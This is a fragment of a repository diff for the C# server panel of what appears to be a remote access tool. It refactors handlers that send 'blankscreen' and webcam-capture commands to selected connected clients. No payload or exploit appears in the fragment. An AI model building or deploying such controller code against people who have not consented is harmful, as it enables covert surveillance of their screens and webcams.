ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
|
||||
private void BlankScreenToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (listView1.SelectedItems.Count > 0)
|
||||
{
|
||||
try
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "blankscreen";
|
||||
foreach (ListViewItem itm in listView1.SelectedItems)
|
||||
foreach (Clients client in GetSelectedClients())
|
||||
{
|
||||
Clients client = (Clients)itm.Tag;
|
||||
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
|
||||
private void WebcamToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (listView1.SelectedItems.Count > 0)
|
||||
{
|
||||
try
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "webcam";
|
||||
msgpack.ForcePathObject("Command").AsString = "getWebcams";
|
||||
foreach (ListViewItem itm in listView1.SelectedItems)
|
||||
{
|
||||
Clients client = (Clients)itm.Tag;
|
||||
this.BeginInvoke((MethodInvoker)(() =>
|
||||
foreach (Clients client in GetSelectedClients())
|
||||
{
|
||||
FormWebcam remoteDesktop = (FormWebcam)Application.OpenForms["Webcam:" + client.ID];
|
||||
if (remoteDesktop == null)
|
||||
@ -1280,11 +1198,9 @@ namespace Server
|
||||
remoteDesktop.Show();
|
||||
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
|
||||
}
|
||||
}));
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
Loading…
x
Reference in New Issue
Block a user